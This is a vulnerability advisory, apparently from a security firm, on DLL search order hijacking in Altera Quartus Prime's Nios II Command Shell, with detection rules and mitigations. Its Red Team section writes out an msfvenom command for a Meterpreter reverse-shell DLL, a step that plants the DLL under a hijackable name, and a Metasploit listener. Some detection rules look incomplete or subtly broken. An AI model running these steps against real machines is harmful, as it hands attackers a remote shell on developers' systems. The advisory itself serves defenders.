CVE-2025-14625

Executive Summary

CVE-2025-14625 is a Uncontrolled Search Path Element vulnerability (CWE-427) affecting Altera Quartus Prime Standard and Lite editions on Windows, specifically within the Nios II Command Shell modules. This flaw allows an attacker to perform Search Order Hijacking, where a malicious DLL or executable placed in a directory searched before the legitimate system path can be loaded instead of the intended component. The vulnerability impacts versions from 19.1 through 24.1. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using these tools in development or production environments.

This report provides a comprehensive technical analysis, detection engineering rules, and mitigation strategies for both Red and Blue Teams.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local – The attacker must have local access to the system or be able to place a malicious file in a directory that the vulnerable application will search.
• Attack Complexity (AC): Low – No special conditions are required beyond placing the malicious file in the correct search path.
• Privileges Required (PR): None – The attacker does not need prior privileges; they only need to write a file to a user-writable directory.
• User Interaction (UI): Required – The user must launch the Nios II Command Shell or a related component that triggers the search order.
• Scope (S): Unchanged – The vulnerability does not allow the attacker to affect resources beyond the vulnerable component.
• Confidentiality (C): High – An attacker could load a malicious DLL that exfiltrates sensitive data.
• Integrity (I): High – The attacker can modify the behavior of the tool, potentially injecting malicious code into FPGA designs.
• Availability (A): High – The attacker could cause the tool to crash or behave unpredictably.

Threat Level: High – Although no public exploit exists, the vulnerability is easy to exploit once an attacker gains local access, and the impact on confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability resides in the Nios II Command Shell modules of Altera Quartus Prime. These modules are used to compile, debug, and manage Nios II soft-core processor designs. The issue is an Uncontrolled Search Path Element (CWE-427), meaning the application does not properly control the order in which directories are searched for executable or library files.

How Search Order Hijacking Works:

1. Normal Behavior: When a Windows application loads a DLL or executable, it searches a specific order of directories (e.g., the directory from which the application was launched, the system directory, the Windows directory, and then the PATH environment variable directories).
2. Vulnerability: The Nios II Command Shell may search user-writable directories (like the current working directory or a user's temp folder) before secure system directories. An attacker can place a malicious DLL or executable with the same name as a legitimate one in one of these early-search directories.
3. Exploitation: When a user launches the Nios II Command Shell or performs an action that triggers a DLL load (e.g., compiling a design), the malicious file is loaded instead of the legitimate one. This gives the attacker code execution in the context of the user running the tool.

Attack Scenario:

• An attacker with local access to a developer's machine (e.g., via malware, social engineering, or physical access) places a malicious nios2-terminal.exe or a DLL like libgcc_s_dw2-1.dll in a directory that is searched before the legitimate path.
• When the developer uses the Nios II Command Shell, the malicious file executes, allowing the attacker to steal credentials, modify FPGA designs, or establish persistence.

Vulnerable vs. Patched Code

Since no official patch is available, a direct code comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable Code (Conceptual):

// Vulnerable: Uses relative path or relies on unsafe search order
system("nios2-terminal.exe"); // Searches current directory first

Patched Code (Expected):

// Patched: Uses absolute path to the executable
system("C:\\intelFPGA\\24.1\\nios2eds\\bin\\nios2-terminal.exe");

Mitigation in Code:

• Always use absolute paths when calling external executables or loading libraries.
• Use SetDllDirectory("") to remove the current directory from the search order.
• Use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_SYSTEM32 flag to restrict DLL search to system directories.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate Search Order Hijacking on a vulnerable Quartus Prime installation.

Prerequisites:

• Windows machine with Quartus Prime Standard or Lite (version 19.1 to 24.1) installed.
• Local access to the machine (e.g., via a foothold or physical access).
• Ability to write files to a user-writable directory (e.g., C:\Users\<username>\AppData\Local\Temp).

Steps:

1. Identify a Target Executable or DLL:

   • Use Process Monitor (Procmon) to monitor the Nios II Command Shell's file operations. Look for NAME NOT FOUND or PATH NOT FOUND events for DLLs or executables.
   • Common targets: nios2-terminal.exe, nios2-download.exe, libgcc_s_dw2-1.dll, cygwin1.dll.

2. Create a Malicious Payload:

   • Use msfvenom to generate a reverse shell DLL:

     msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
     

3. Place the Malicious File:

   • Copy the malicious DLL to a directory that is searched before the legitimate path. For example, if the vulnerable application searches the current working directory first, place it there:

     copy malicious.dll C:\Users\victim\Desktop\libgcc_s_dw2-1.dll
     

4. Trigger the Vulnerability:

   • Ask the victim to open the Nios II Command Shell from the desktop or navigate to the directory containing the malicious file and run a command:

     cd C:\Users\victim\Desktop
     nios2-terminal
     

5. Receive the Shell:

   • On your attacker machine, start a Metasploit listener:

     msfconsole -q
     use exploit/multi/handler
     set payload windows/x64/meterpreter/reverse_tcp
     set LHOST 192.168.1.100
     set LPORT 4444
     exploit
     

Blue Team

Objective: Detect and prevent Search Order Hijacking attempts.

Detection Steps:

1. Monitor File System Events:

   • Use Sysmon or Windows Event Logging to detect when a file is written to a directory that is searched by Quartus Prime.
   • Look for writes to %TEMP%, %USERPROFILE%\Desktop, or the current working directory of the Nios II Command Shell.

2. Analyze Process Creation:

   • Monitor for unusual child processes spawned by nios2-terminal.exe or quartus.exe. A malicious DLL may spawn cmd.exe or powershell.exe.

3. Check for Unsigned DLLs:

   • Use PowerShell to scan for unsigned DLLs in directories searched by Quartus Prime:

     Get-ChildItem -Path "C:\intelFPGA\*" -Recurse -Filter "*.dll" | Get-AuthenticodeSignature | Where-Object {$_.Status -ne "Valid"}
     

4. Enable Safe DLL Search Mode:

   • Set the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1 to force Windows to search system directories before the current directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_14625_Search_Order_Hijacking {
    meta:
        description = "Detects malicious DLLs targeting Altera Quartus Prime Nios II Command Shell"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14625"
    strings:
        $s1 = "nios2-terminal" nocase
        $s2 = "nios2-download" nocase
        $s3 = "libgcc_s_dw2-1.dll" nocase
        $s4 = "cygwin1.dll" nocase
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (any of ($s*) or (pe.imports("kernel32.dll", "WinExec") or pe.imports("kernel32.dll", "CreateProcess")))
}

Sigma Rule

title: CVE-2025-14625 - Search Order Hijacking via Nios II Command Shell
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file writes to directories searched by Quartus Prime Nios II Command Shell
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14625
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            - '\AppData\Local\Temp\'
            - '\Desktop\'
        TargetFilename|endswith:
            - '.dll'
            - '.exe'
    condition: selection
falsepositives:
    - Legitimate software installations
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-14625 - Potential Search Order Hijacking - Outbound Connection from Nios II Process";
    flow:to_server,established;
    content:"|00 00 00 00|"; depth:4; offset:0;
    pcre:"/nios2/i";
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the Latest Patch: Check Intel/Altera's official website for updates. If a patch is released, apply it immediately.
2. Restrict User Permissions: Limit write access to directories that are searched by Quartus Prime. Use Group Policy to prevent users from writing to %TEMP% or the Desktop.
3. Enable Safe DLL Search Mode: Set the registry key SafeDllSearchMode to 1 (enabled) to force Windows to search system directories first.
4. Use Absolute Paths: Modify scripts and batch files that call Nios II tools to use absolute paths instead of relying on the search order.

Long-Term Mitigations:

1. Application Whitelisting: Use AppLocker or Windows Defender Application Control to allow only signed executables and DLLs.
2. Monitor with EDR: Deploy an EDR solution that can detect file writes to suspicious locations and alert on process anomalies.
3. User Awareness Training: Educate developers about the risks of running tools from untrusted directories and the importance of verifying file integrity.

Workaround:

• If patching is not possible, consider running the Nios II Command Shell from a dedicated, secure directory that is not writable by standard users. Use a script that sets the working directory to a protected location before launching the tool.

Valters IT
Securing Digital Frontiers